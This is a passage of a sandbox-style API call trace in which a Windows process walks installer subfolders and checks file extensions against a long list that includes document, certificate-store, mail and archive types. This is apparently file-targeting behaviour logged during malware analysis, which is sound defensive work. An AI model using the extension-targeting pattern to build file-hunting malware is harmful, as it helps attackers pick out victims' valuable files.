(lpString=".nrw") returned 4 [0101.119] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0101.119] lstrlenW (lpString=".obj") returned 4 [0101.119] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0101.119] lstrlenW (lpString=".odb") returned 4 [0101.119] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0101.119] lstrlenW (lpString=".odc") returned 4 [0101.119] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0101.120] lstrlenW (lpString=".odm") returned 4 [0101.120] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0101.120] lstrlenW (lpString=".odp") returned 4 [0101.120] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0101.120] lstrlenW (lpString=".ods") returned 4 [0101.120] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0101.120] lstrlenW (lpString=".oft") returned 4 [0101.120] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0101.120] lstrlenW (lpString=".one") returned 4 [0101.120] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0101.120] lstrlenW (lpString=".onepkg") returned 7 [0101.120] lstrcmpiW (lpString1=".onepkg", lpString2="ata.xml") returned -1 [0101.120] lstrlenW (lpString=".onetoc2") returned 8 [0101.120] lstrcmpiW (lpString1=".onetoc2", lpString2="Data.xml") returned -1 [0101.120] lstrlenW (lpString=".opt") returned 4 [0101.120] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0101.120] lstrlenW (lpString=".oqy") returned 4 [0101.120] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0101.120] lstrlenW (lpString=".orf") returned 4 [0101.120] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0101.120] lstrlenW (lpString=".p12") returned 4 [0101.120] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0101.120] lstrlenW (lpString=".p7b") returned 4 [0101.120] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0101.120] lstrlenW (lpString=".p7c") returned 4 [0101.120] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0101.120] lstrlenW (lpString=".pam") returned 4 [0101.120] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0101.120] lstrlenW (lpString=".pbm") returned 4 [0101.120] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0101.120] lstrlenW (lpString=".pct") returned 4 [0101.120] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0101.120] lstrlenW (lpString=".pcx") returned 4 [0101.120] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0101.120] lstrlenW (lpString=".pdd") returned 4 [0101.121] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0101.121] lstrlenW (lpString=".pdf") returned 4 [0101.121] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.121] lstrlenW (lpString=".pdp") returned 4 [0101.121] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0101.121] lstrlenW (lpString=".pef") returned 4 [0101.121] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0101.121] lstrlenW (lpString=".pem") returned 4 [0101.121] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0101.121] lstrlenW (lpString=".pff") returned 4 [0101.121] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0101.121] lstrlenW (lpString=".pfm") returned 4 [0101.121] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0101.121] lstrlenW (lpString=".pfx") returned 4 [0101.121] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0101.121] lstrlenW (lpString=".pgm") returned 4 [0101.121] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0101.121] lstrlenW (lpString=".php") returned 4 [0101.121] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0101.121] lstrlenW (lpString=".php3") returned 5 [0101.121] lstrcmpiW (lpString1=".php3", lpString2="a.xml") returned -1 [0101.121] lstrlenW (lpString=".php4") returned 5 [0101.121] lstrcmpiW (lpString1=".php4", lpString2="a.xml") returned -1 [0101.121] lstrlenW (lpString=".php5") returned 5 [0101.121] lstrcmpiW (lpString1=".php5", lpString2="a.xml") returned -1 [0101.121] lstrlenW (lpString=".phtml") returned 6 [0101.121] lstrcmpiW (lpString1=".phtml", lpString2="ta.xml") returned -1 [0101.121] lstrlenW (lpString=".pict") returned 5 [0101.121] lstrcmpiW (lpString1=".pict", lpString2="a.xml") returned -1 [0101.121] lstrlenW (lpString=".pl") returned 3 [0101.121] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0101.121] lstrlenW (lpString=".pls") returned 4 [0101.121] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0101.121] lstrlenW (lpString=".pm") returned 3 [0101.122] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0101.122] lstrlenW (lpString=".png") returned 4 [0101.122] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0101.122] lstrlenW (lpString=".pnm") returned 4 [0101.122] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0101.122] lstrlenW (lpString=".pot") returned 4 [0101.122] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0101.122] lstrlenW (lpString=".potm") returned 5 [0101.122] lstrcmpiW (lpString1=".potm", lpString2="a.xml") returned -1 [0101.122] lstrlenW (lpString=".potx") returned 5 [0101.122] lstrcmpiW (lpString1=".potx", lpString2="a.xml") returned -1 [0101.122] lstrlenW (lpString=".ppa") returned 4 [0101.122] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0101.122] lstrlenW (lpString=".ppam") returned 5 [0101.122] lstrcmpiW (lpString1=".ppam", lpString2="a.xml") returned -1 [0101.122] lstrlenW (lpString=".ppm") returned 4 [0101.122] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0101.122] lstrlenW (lpString=".pps") returned 4 [0101.122] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0101.122] lstrlenW (lpString=".ppsm") returned 5 [0101.122] lstrcmpiW (lpString1=".ppsm", lpString2="a.xml") returned -1 [0101.122] lstrlenW (lpString=".ppt") returned 4 [0101.122] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.122] lstrlenW (lpString=".pptm") returned 5 [0101.122] lstrcmpiW (lpString1=".pptm", lpString2="a.xml") returned -1 [0101.122] lstrlenW (lpString=".pptx") returned 5 [0101.122] lstrcmpiW (lpString1=".pptx", lpString2="a.xml") returned -1 [0101.122] lstrlenW (lpString=".prn") returned 4 [0101.122] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0101.122] lstrlenW (lpString=".ps") returned 3 [0101.122] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0101.122] lstrlenW (lpString=".psb") returned 4 [0101.122] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0101.122] lstrlenW (lpString=".psd") returned 4 [0101.122] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0101.123] lstrlenW (lpString=".pst") returned 4 [0101.123] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0101.123] lstrlenW (lpString=".ptx") returned 4 [0101.123] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0101.123] lstrlenW (lpString=".pub") returned 4 [0101.123] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0101.123] lstrlenW (lpString=".pwm") returned 4 [0101.123] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0101.123] lstrlenW (lpString=".pxr") returned 4 [0101.123] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0101.123] lstrlenW (lpString=".py") returned 3 [0101.123] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0101.123] lstrlenW (lpString=".qt") returned 3 [0101.123] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0101.123] lstrlenW (lpString=".r3d") returned 4 [0101.123] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0101.123] lstrlenW (lpString=".raf") returned 4 [0101.123] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0101.123] lstrlenW (lpString=".rar") returned 4 [0101.123] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.123] lstrlenW (lpString=".raw") returned 4 [0101.123] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0101.123] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.123] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.123] FindClose (in: hFindFile=0x42902c0 | out: hFindFile=0x42902c0) returned 1 [0101.124] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.124] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0101.125] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.125] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290140 [0101.125] FindNextFileW (in: hFindFile=0x4290140, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.125] FindNextFileW (in: hFindFile=0x4290140, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.125] FindNextFileW (in: hFindFile=0x4290140, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.125] FindNextFileW (in: hFindFile=0x4290140, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.125] FindNextFileW (in: hFindFile=0x4290140, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.126] FindClose (in: hFindFile=0x4290140 | out: hFindFile=0x4290140) returned 1 [0101.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.126] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0101.126] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.126] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290180 [0101.126] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.126] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.126] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.126] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.126] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.127] FindClose (in: hFindFile=0x4290180 | out: hFindFile=0x4290180) returned 1 [0101.127] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.127] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0101.127] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.127] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290680 [0101.180] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.180] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.180] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.180] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.180] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.181] FindClose (in: hFindFile=0x4290680 | out: hFindFile=0x4290680) returned 1 [0101.181] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.181] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0101.181] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.181] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290180 [0101.181] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.181] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.181] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.181] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.182] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.182] FindClose (in: hFindFile=0x4290180 | out: hFindFile=0x4290180) returned 1 [0101.182] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.182] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, 